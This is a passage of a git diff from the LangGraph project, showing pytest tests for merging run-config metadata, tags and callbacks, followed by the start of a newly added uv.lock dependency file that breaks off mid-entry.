merged["metadata"]["lc_versions"] == { + "langgraph": "1.2.4", + "langchain-core": "1.2.0", + "nested": {"only_b": "B", "shared": "from_b"}, + } + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_nested_mappings_other_than_lc_versions_are_replaced( + merge: Callable[..., RunnableConfig], +) -> None: + a = {"metadata": {"versions": {"langgraph": "1.2.4"}, "mode": "bound"}} + b = { + "metadata": { + "versions": {"langchain-core": "1.2.0"}, + "mode": {"source": "runtime"}, + } + } + merged = merge(a, b) + assert merged["metadata"]["versions"] == {"langchain-core": "1.2.0"} + assert merged["metadata"]["mode"] == {"source": "runtime"} + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_non_mapping_values_later_wins( + merge: Callable[..., RunnableConfig], +) -> None: + a = {"metadata": {"lc_versions": {"langgraph": "1.2.4"}, "mode": "bound"}} + b = {"metadata": {"lc_versions": "runtime", "mode": {"source": "runtime"}}} + merged = merge(a, b) + assert merged["metadata"]["lc_versions"] == "runtime" + assert merged["metadata"]["mode"] == {"source": "runtime"} + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_lc_versions_merge_does_not_mutate_inputs( + merge: Callable[..., RunnableConfig], +) -> None: + a_versions = {"langgraph": "1.2.4"} + b_versions = {"langchain-core": "1.2.0"} + a = {"metadata": {"lc_versions": a_versions}} + b = {"metadata": {"lc_versions": b_versions}} + merged = merge(a, b) + assert a == {"metadata": {"lc_versions": {"langgraph": "1.2.4"}}} + assert b == {"metadata": {"lc_versions": {"langchain-core": "1.2.0"}}} + assert merged["metadata"]["lc_versions"] is not a_versions + assert merged["metadata"]["lc_versions"] is not b_versions + + merged["metadata"]["lc_versions"]["langgraph"] = "changed" + assert a_versions == {"langgraph": "1.2.4"} + assert b_versions == {"langchain-core": "1.2.0"} + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_single_sided_mapping_values_are_copied( + merge: Callable[..., RunnableConfig], +) -> None: + base_versions = {"langgraph": "1.2.4"} + new_versions = {"langchain-core": "1.2.0"} + + merged_base_only = merge({"metadata": {"lc_versions": base_versions}}) + merged_new_only = merge( + {"metadata": {}}, + {"metadata": {"lc_versions": new_versions}}, + ) + + assert merged_base_only["metadata"]["lc_versions"] is not base_versions + assert merged_new_only["metadata"]["lc_versions"] is not new_versions + + merged_base_only["metadata"]["lc_versions"]["langgraph"] = "changed" + merged_new_only["metadata"]["lc_versions"]["langchain-core"] = "changed" + assert base_versions == {"langgraph": "1.2.4"} + assert new_versions == {"langchain-core": "1.2.0"} + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_empty_incoming_preserves_base_lc_versions( + merge: Callable[..., RunnableConfig], +) -> None: + a = {"metadata": {"lc_versions": {"langgraph": "1.2.4"}}} + b = {"metadata": {"lc_versions": {}}} + merged = merge(a, b) + assert merged["metadata"]["lc_versions"] == {"langgraph": "1.2.4"} + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_lc_versions_accumulate_across_more_than_two_configs( + merge: Callable[..., RunnableConfig], +) -> None: + a = {"metadata": {"lc_versions": {"langgraph": "1.2.4"}}} + b = {"metadata": {"lc_versions": {"langchain-core": "1.2.0"}}} + c = {"metadata": {"lc_versions": {"langchain": "1.1.0"}}} + merged = merge(a, b, c) + assert merged["metadata"]["lc_versions"] == { + "langgraph": "1.2.4", + "langchain-core": "1.2.0", + "langchain": "1.1.0", + } + + +def test_ensure_config_merges_tags_across_configs() -> None: + a = {"tags": ["alpha"]} + b = {"tags": ["beta"]} + merged = ensure_config(a, b) + assert merged["tags"] == ["alpha", "beta"] + + +def test_ensure_config_tags_concat_preserves_order_and_duplicates() -> None: + # Plain concat (matches merge_configs in this file — no dedup, no sort). + a = {"tags": ["shared", "alpha"]} + b = {"tags": ["shared", "beta"]} + merged = ensure_config(a, b) + assert merged["tags"] == ["shared", "alpha", "shared", "beta"] + + +def test_ensure_config_merges_callbacks_across_configs() -> None: + a_cb = _TrackingCB("a") + b_cb = _TrackingCB("b") + merged = ensure_config({"callbacks": [a_cb]}, {"callbacks": [b_cb]}) + assert merged["callbacks"] == [a_cb, b_cb] + + +def test_ensure_config_none_inputs_ignored() -> None: + # mixed with None should not raise + merged = ensure_config(None, {"tags": ["t"]}, None) + assert merged["tags"] == ["t"] + + +def test_ensure_config_empty_inputs() -> None: + # everything empty -> defaults + merged = ensure_config() + assert merged["tags"] == [] + assert merged["configurable"] == {} + assert merged["callbacks"] is None diff --git a/libs/langgraph/uv.lock b/libs/langgraph/uv.lock new file mode 100644 index 0000000..9b7a747 --- /dev/null +++ b/libs/langgraph/uv.lock @@ -0,0 +1,4282 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version == '3.14.*'", + "python_full_version >= '3.11' and python_full_version < '3.14'", + "python_full_version < '3.11'", +] + +[[package]] +name = "aiosqlite" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/8a/64761f4005f17809769d23e518d915db74e6310474e733e3593cfc854ef1/aiosqlite-0.22.1.tar.gz", hash = "sha256:043e0bd78d32888c0a9ca90fc788b38796843360c855a7262a532813133a0650", size = 14821, upload-time = "2025-12-23T19:25:43.997Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/b7/e3bf5133d697a08128598c8d0abc5e16377b51465a33756de24fa7dee953/aiosqlite-0.22.1-py3-none-any.whl", hash = "sha256:21c002eb13823fad740196c5a2e9d8e62f6243bd9e7e4a1f87fb5e44ecb4fceb", size = 17405, upload-time = "2025-12-23T19:25:42.139Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.14.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/72/5562aabb8dd7181e8e860622a38bea08d17842b99ecd4c91f84ac95251b0/anyio-4.14.1.tar.gz", hash = "sha256:8d648a3544c1a700e3ff78615cd679e4c5c3f149904287e73687b2596963629e", size = 254831, upload-time = "2026-06-24T20:56:06.017Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/7b/90df4a0a816d98d6ea26f559d87836d494a2cf1fcf063be67df50a7bcc30/anyio-4.14.1-py3-none-any.whl", hash = "sha256:4e5533c5b8ff0a24f5d7a176cbe6877129cd183893f66b537f8f227d10527d72", size = 124875, upload-time = "2026-06-24T20:56:04.413Z" }, +] + +[[package]] +name = "appnope" +version = "0.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/35/5d/752690df9ef5b76e169e68d6a129fa6d08a7100ca7f754c89495db3c6019/appnope-0.1.4.tar.gz", hash = "sha256:1de3860566df9caf38f01f86f65e0e13e379af54f9e4bee1e66b48f2efffd1ee", size = 4170, upload-time = "2024-02-06T09:43:11.258Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/29/5ecc3a15d5a33e31b26c11426c45c501e439cb865d0bff96315d86443b78/appnope-0.1.4-py2.py3-none-any.whl", hash = "sha256:502575ee11cd7a28c0205f379b525beefebab9d161b7c964670864014ed7213c", size = 4321, upload-time = "2024-02-06T09:43:09.663Z" }, +] + +[[package]] +name = "argon2-cffi" +version = "25.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "argon2-cffi-bindings" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0e/89/ce5af8a7d472a67cc819d5d998aa8c82c5d860608c4db9f46f1162d7dab9/argon2_cffi-25.1.0.tar.gz", hash = "sha256:694ae5cc8a42f4c4e2bf2ca0e64e51e23a040c6a517a85074683d3959e1346c1", size = 45706, upload-time = "2025-06-03T06:55:32.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/d3/a8b22fa575b297cd6e3e3b0155c7e25db170edf1c74783d6a31a2490b8d9/argon2_cffi-25.1.0-py3-none-any.whl", hash = "sha256:fdc8b074db390fccb6eb4a3604ae7231f219aa669a2652e0f20e16ba513d5741", size = 14657, upload-time = "2025-06-03T06:55:30.804Z" }, +] + +[[package]] +name = "argon2-cffi-bindings" +version = "25.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5c/2d/db8af0df73c1cf454f71b2bbe5e356b8c1f8041c979f505b3d3186e520a9/argon2_cffi_bindings-25.1.0.tar.gz", hash = "sha256:b957f3e6ea4d55d820e40ff76f450952807013d361a65d7f28acc0acbf29229d", size = 1783441, upload-time = "2025-07-30T10:02:05.147Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/60/97/3c0a35f46e52108d4707c44b95cfe2afcafc50800b5450c197454569b776/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:3d3f05610594151994ca9ccb3c771115bdb4daef161976a266f0dd8aa9996b8f", size = 54393, upload-time = "2025-07-30T10:01:40.97Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/98bbd6ee89febd4f212696f13c03ca302b8552e7dbf9c8efa11ea4a388c3/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8b8efee945193e667a396cbc7b4fb7d357297d6234d30a489905d96caabde56b", size = 29328, upload-time = "2025-07-30T10:01:41.916Z" }, + { url = "https://files.pythonhosted.org/packages/43/24/90a01c0ef12ac91a6be05969f29944643bc1e5e461155ae6559befa8f00b/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3c6702abc36bf3ccba3f802b799505def420a1b7039862014a65db3205967f5a", size = 31269, upload-time = "2025-07-30T10:01:42.716Z" }, + { url = "https://files.pythonhosted.org/packages/d4/d3/942aa10782b2697eee7af5e12eeff5ebb325ccfb86dd8abda54174e377e4/argon2_cffi_bindings-25.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1c70058c6ab1e352304ac7e3b52554daadacd8d453c1752e547c76e9c99ac44", size = 86558, upload-time = "2025-07-30T10:01:43.943Z" }, + { url = "https://files.pythonhosted.org/packages/0d/82/b484f702fec5536e71836fc2dbc8c5267b3f6e78d2d539b4eaa6f0db8bf8/argon2_cffi_bindings-25.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e2fd3bfbff3c5d74fef31a722f729bf93500910db650c925c2d6ef879a7e51cb", size = 92364, upload-time = "2025-07-30T10:01:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/c9/c1/a606ff83b3f1735f3759ad0f2cd9e038a0ad11a3de3b6c673aa41c24bb7b/argon2_cffi_bindings-25.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4f9665de60b1b0e99bcd6be4f17d90339698ce954cfd8d9cf4f91c995165a92", size = 85637, upload-time = "2025-07-30T10:01:46.225Z" }, + { url = "https://files.pythonhosted.org/packages/44/b4/678503f12aceb0262f84fa201f6027ed77d71c5019ae03b399b97caa2f19/argon2_cffi_bindings-25.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ba92837e4a9aa6a508c8d2d7883ed5a8f6c308c89a4790e1e447a220deb79a85", size = 91934, upload-time = "2025-07-30T10:01:47.203Z" }, + { url = "https://files.pythonhosted.org/packages/f0/c7/f36bd08ef9bd9f0a9cff9428406651f5937ce27b6c5b07b92d41f91ae541/argon2_cffi_bindings-25.1.0-cp314-cp314t-win32.whl", hash = "sha256:84a461d4d84ae1295871329b346a97f68eade8c53b6ed9a7ca2d7467f3c8ff6f", size = 28158, upload-time = "2025-07-30T10:01:48.341Z" }, + { url = "https://files.pythonhosted.org/packages/b3/80/0106a7448abb24a2c467bf7d527fe5413b7fdfa4ad6d6a96a43a62ef3988/argon2_cffi_bindings-25.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b55aec3565b65f56455eebc9b9f34130440404f27fe21c3b375bf1ea4d8fbae6", size = 32597, upload-time = "2025-07-30T10:01:49.112Z" }, + { url = "https://files.pythonhosted.org/packages/05/b8/d663c9caea07e9180b2cb662772865230715cbd573ba3b5e81793d580316/argon2_cffi_bindings-25.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:87c33a52407e4c41f3b70a9c2d3f6056d88b10dad7695be708c5021673f55623", size = 28231, upload-time = "2025-07-30T10:01:49.92Z" }, + { url = "https://files.pythonhosted.org/packages/1d/57/96b8b9f93166147826da5f90376e784a10582dd39a393c99bb62cfcf52f0/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:aecba1723ae35330a008418a91ea6cfcedf6d31e5fbaa056a166462ff066d500", size = 54121, upload-time = "2025-07-30T10:01:50.815Z" }, + { url = "https://files.pythonhosted.org/packages/0a/08/a9bebdb2e0e602dde230bdde8021b29f71f7841bd54801bcfd514acb5dcf/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2630b6240b495dfab90aebe159ff784d08ea999aa4b0d17efa734055a07d2f44", size = 29177, upload-time = "2025-07-30T10:01:51.681Z" }, + { url = "https://files.pythonhosted.org/packages/b6/02/d297943bcacf05e4f2a94ab6f462831dc20158614e5d067c35d4e63b9acb/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:7aef0c91e2c0fbca6fc68e7555aa60ef7008a739cbe045541e438373bc54d2b0", size = 31090, upload-time = "2025-07-30T10:01:53.184Z" }, + { url = "https://files.pythonhosted.org/packages/c1/93/44365f3d75053e53893ec6d733e4a5e3147502663554b4d864587c7828a7/argon2_cffi_bindings-25.1.0-cp39-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1e021e87faa76ae0d413b619fe2b65ab9a037f24c60a1e6cc43457ae20de6dc6", size = 81246, upload-time = "2025-07-30T10:01:54.145Z" }, + { url = "https://files.pythonhosted.org/packages/09/52/94108adfdd6e2ddf58be64f959a0b9c7d4ef2fa71086c38356d22dc501ea/argon2_cffi_bindings-25.1.0-cp39-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e924cfc503018a714f94a49a149fdc0b644eaead5d1f089330399134fa028a", size = 87126, upload-time = "2025-07-30T10:01:55.074Z" }, + { url = "https://files.pythonhosted.org/packages/72/70/7a2993a12b0ffa2a9271259b79cc616e2389ed1a4d93842fac5a1f923ffd/argon2_cffi_bindings-25.1.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c87b72589133f0346a1cb8d5ecca4b933e3c9b64656c9d175270a000e73b288d", size = 80343, upload-time = "2025-07-30T10:01:56.007Z" }, + { url = "https://files.pythonhosted.org/packages/78/9a/4e5157d893ffc712b74dbd868c7f62365618266982b64accab26bab01edc/argon2_cffi_bindings-25.1.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:1db89609c06afa1a214a69a462ea741cf735b29a57530478c06eb81dd403de99", size = 86777, upload-time = "2025-07-30T10:01:56.943Z" }, + { url = "https://files.pythonhosted.org/packages/74/cd/15777dfde1c29d96de7f18edf4cc94c385646852e7c7b0320aa91ccca583/argon2_cffi_bindings-25.1.0-cp39-abi3-win32.whl", hash = "sha256:473bcb5f82924b1becbb637b63303ec8d10e84c8d241119419897a26116515d2", size = 27180, upload-time = "2025-07-30T10:01:57.759Z" }, + { url = "https://files.pythonhosted.org/packages/e2/c6/a759ece8f1829d1f162261226fbfd2c6832b3ff7657384045286d2afa384/argon2_cffi_bindings-25.1.0-cp39-abi3-win_amd64.whl", hash = "sha256:a98cd7d17e9f7ce244c0803cad3c23a7d379c301ba618a5fa76a67d116618b98", size = 31715, upload-time = "2025-07-30T10:01:58.56Z" }, + { url = "https://files.pythonhosted.org/packages/42/b9/f8d6fa329ab25128b7e98fd83a3cb34d9db5b059a9847eddb840a0af45dd/argon2_cffi_bindings-25.1.0-cp39-abi3-win_arm64.whl", hash = "sha256:b0fdbcf513833809c882823f98dc2f931cf659d9a1429616ac3adebb49f5db94", size = 27149, upload-time = "2025-07-30T10:01:59.329Z" }, + { url = "https://files.pythonhosted.org/packages/11/2d/ba4e4ca8d149f8dcc0d952ac0967089e1d759c7e5fcf0865a317eb680fbb/argon2_cffi_bindings-25.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:6dca33a9859abf613e22733131fc9194091c1fa7cb3e131c143056b4856aa47e", size = 24549, upload-time = "2025-07-30T10:02:00.101Z" }, + { url = "https://files.pythonhosted.org/packages/5c/82/9b2386cc75ac0bd3210e12a44bfc7fd1632065ed8b80d573036eecb10442/argon2_cffi_bindings-25.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:21378b40e1b8d1655dd5310c84a40fc19a9aa5e6366e835ceb8576bf0fea716d", size = 25539, upload-time = "2025-07-30T10:02:00.929Z" }, + { url = "https://files.pythonhosted.org/packages/31/db/740de99a37aa727623730c90d92c22c9e12585b3c98c54b7960f7810289f/argon2_cffi_bindings-25.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d588dec224e2a83edbdc785a5e6f3c6cd736f46bfd4b441bbb5aa1f5085e584", size = 28467, upload-time = "2025-07-30T10:02:02.08Z" }, + { url = "https://files.pythonhosted.org/packages/71/7a/47c4509ea18d755f44e2b92b7178914f0c113946d11e16e626df8eaa2b0b/argon2_cffi_bindings-25.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5acb4e41090d53f17ca1110c3427f0a130f944b896fc8c83973219c97f57b690", size = 27355, upload-time = "2025-07-30T10:02:02.867Z" }, + { url = "https://files.pythonhosted.org/packages/ee/82/82745642d3c46e7cea25e1885b014b033f4693346ce46b7f47483cf5d448/argon2_cffi_bindings-25.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:da0c79c23a63723aa5d782250fbf51b768abca630285262fb5144ba5ae01e520", size = 29187, upload-time = "2025-07-30T10:02:03.674Z" }, +] + +[[package]] +name = "arrow" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, + { name = "tzdata" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b9/33/032cdc44182491aa708d06a68b62434140d8c50820a087fac7af37703357/arrow-1.4.0.tar.gz", hash = "sha256:ed0cc050e98001b8779e84d461b0098c4ac597e88704a655582b21d116e526d7", size = 152931, upload-time = "2025-10-18T17:46:46.761Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/c9/d7977eaacb9df673210491da99e6a247e93df98c715fc43fd136ce1d3d33/arrow-1.4.0-py3-none-any.whl", hash = "sha256:749f0769958ebdc79c173ff0b0670d59051a535fa26e8eba02953dc19eb43205", size = 68797, upload-time = "2025-10-18T17:46:45.663Z" }, +] + +[[package]] +name = "asttokens" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/be/a5/8e3f9b6771b0b408517c82d97aed8f2036509bc247d46114925e32fe33f0/asttokens-3.0.1.tar.gz", hash = "sha256:71a4ee5de0bde6a31d64f6b13f2293ac190344478f081c3d1bccfcf5eacb0cb7", size = 62308, upload-time = "2025-11-15T16:43:48.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/39/e7eaf1799466a4aef85b6a4fe7bd175ad2b1c6345066aa33f1f58d4b18d0/asttokens-3.0.1-py3-none-any.whl", hash = "sha256:15a3ebc0f43c2d0a50eeafea25e19046c68398e487b9f1f5b517f7c0f40f976a", size = 27047, upload-time = "2025-11-15T16:43:16.109Z" }, +] + +[[package]] +name = "async-lru" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ef/c3/bbf34f15ea88dfb649ab2c40f9d75081784a50573a9ea431563cab64adb8/async_lru-2.1.0.tar.gz", hash = "sha256:9eeb2fecd3fe42cc8a787fc32ead53a3a7158cc43d039c3c55ab3e4e5b2a80ed", size = 12041, upload-time = "2026-01-17T22:52:18.931Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2e/e9/eb6a5db5ac505d5d45715388e92bced7a5bb556facc4d0865d192823f2d2/async_lru-2.1.0-py3-none-any.whl", hash = "sha256:fa12dcf99a42ac1280bc16c634bbaf06883809790f6304d85cdab3f666f33a7e", size = 6933, upload-time = "2026-01-17T22:52:17.389Z" }, +] + +[[package]] +name = "async-timeout" +version = "5.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a5/ae/136395dfbfe00dfc94da3f3e136d0b13f394cba8f4841120e34226265780/async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3", size = 9274, upload-time = "2024-11-06T16:41:39.6Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/ba/e2081de779ca30d473f21f5b30e0e737c438205440784c7dfc81efc2b029/async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c", size = 6233, upload-time = "2024-11-06T16:41:37.9Z" }, +] + +[[package]] +name = "attrs" +version = "25.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6b/5c/685e6633917e101e5dcb62b9dd76946cbb57c26e133bae9e0cd36033c0a9/attrs-25.4.0.tar.gz", hash = "sha256:16d5969b87f0859ef33a48b35d55ac1be6e42ae49d5e853b597db70c35c57e11", size = 934251, upload-time = "2025-10-06T13:54:44.725Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/2a/7cc015f5b9f5db42b7d48157e23356022889fc354a2813c15934b7cb5c0e/attrs-25.4.0-py3-none-any.whl", hash = "sha256:adcf7e2a1fb3b36ac48d97835bb6d8ade15b8dcce26aba8bf1d14847b57a3373", size = 67615, upload-time = "2025-10-06T13:54:43.17Z" }, +] + +[[package]] +name = "babel" +version = "2.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/6b/d52e42361e1aa00709585ecc30b3f9684b3ab62530771402248b1b1d6240/babel-2.17.0.tar.gz", hash = "sha256:0c54cffb19f690cdcc52a3b50bcbf71e07a808d1c80d549f2459b9d2cf0afb9d", size = 9951852, upload-time = "2025-02-01T15:17:41.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b8/3fe70c75fe32afc4bb507f75563d39bc5642255d1d94f1f23604725780bf/babel-2.17.0-py3-none-any.whl", hash = "sha256:4d0b53093fdfb4b21c92b5213dba5a1b23885afa8383709427046b21c366e5f2", size = 10182537, upload-time = "2025-02-01T15:17:37.39Z" }, +] + +[[package]] +name = "beautifulsoup4" +version = "4.14.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "soupsieve" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/b0/1c6a16426d389813b48d95e26898aff79abbde42ad353958ad95cc8c9b21/beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86", size = 627737, upload-time = "2025-11-30T15:08:26.084Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/39/47f9197bdd44df24d67ac8893641e16f386c984a0619ef2ee4c51fbbc019/beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb", size = 107721, upload-time = "2025-11-30T15:08:24.087Z" }, +] + +[[package]] +name = "bleach" +version = "6.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "webencodings" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/48/3c/e12ac860709702bd5ebeb9b56a4fe334f1001246ee1b8f2b7ee28912df7d/bleach-6.4.0.tar.gz", hash = "sha256:4202482733d85cedd04e59fcb2f89f4e4c7c385a78d3c3c23c30446843a37452", size = 204857, upload-time = "2026-06-05T13:01:13.734Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/9d/40b6267367182187139a4000b82a3b287d84d745bccd808e75d916920e9d/bleach-6.4.0-py3-none-any.whl", hash = "sha256:4b6b6a54fff2e69a3dde9d21cc6301220bee3c3cb792187d11403fd795031081", size = 165109, upload-time = "2026-06-05T13:01:12.504Z" }, +] + +[package.optional-dependencies] +css = [ + { name = "tinycss2" }, +] + +[[package]] +name = "blockbuster" +version = "1.5.26" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "forbiddenfruit", marker = "python_full_version >= '3.11' and python_full_version < '3.14' and implementation_name == 'cpython'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e0/dcbab602790a576b0b94108c07e2c048e5897df7cc83722a89582d733987/blockbuster-1.5.26.tar.gz", hash = "sha256:cc3ce8c70fa852a97ee3411155f31e4ad2665cd1c6c7d2f8bb1851dab61dc629", size = 36085, upload-time = "2025-12-05T10:43:47.735Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/95/c1/84fc6811122f54b20de2e5afb312ee07a3a47a328755587d1e505475239b/blockbuster-1.5.26-py3-none-any.whl", hash = "sha256:f8e53fb2dd4b6c6ec2f04907ddbd063ca7cd1ef587d24448ef4e50e81e3a79bb", size = 13226, upload-time = "2025-12-05T10:43:48.778Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, + { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, + { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, + { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, + { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = 